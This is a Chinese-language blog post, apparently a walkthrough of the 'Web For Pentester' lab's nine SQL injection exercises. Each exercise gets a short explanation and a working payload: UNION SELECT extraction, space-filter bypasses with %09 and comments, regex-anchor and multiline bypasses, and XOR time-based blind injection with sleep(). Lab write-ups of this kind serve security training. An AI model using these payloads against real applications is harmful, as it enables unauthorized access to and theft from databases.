Web For Pentester - SQLi Part Tips

Training exercises

Posted by Urahara on October 30, 2016

SQLi Example 1

最基础的字符型注入,无任何过滤

name=root’ and ‘1’=’1

SQLi Example 2

过滤了空格,语句中若出现空格就会报错

  • 水平制表(HT) url编码:%09
  • 注释绕过空格   /*注释*/

name=root’%09and%09’1’=’1

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 3

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 4

最基础的数值型注入,过滤了单引号

id=2%20and%201=2

SQLi Example 5

//代码片段
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字开头

id=1/0 UNION SELECT 1,user(),3,4,5

SQLi Example 6

//代码片段
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字结尾

id=1 and 1=1%23123

SQLi Example 7

//代码片段
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
  die("ERROR INTEGER REQUIRED");    
}

这里使用了PCRE_MULTLINE(/m),也就是说任意换行符之前或之后都必须是数字,那么就可以构造如下payload

id=1%0a and 1=1

SQLi Example 8

使用XOR逻辑加时间盲注进行猜解

order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

SQLi Example 9

这里过滤了“`”,可以使用XOR让第一个语句报错,第二个语句正确,页面显示正常

order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23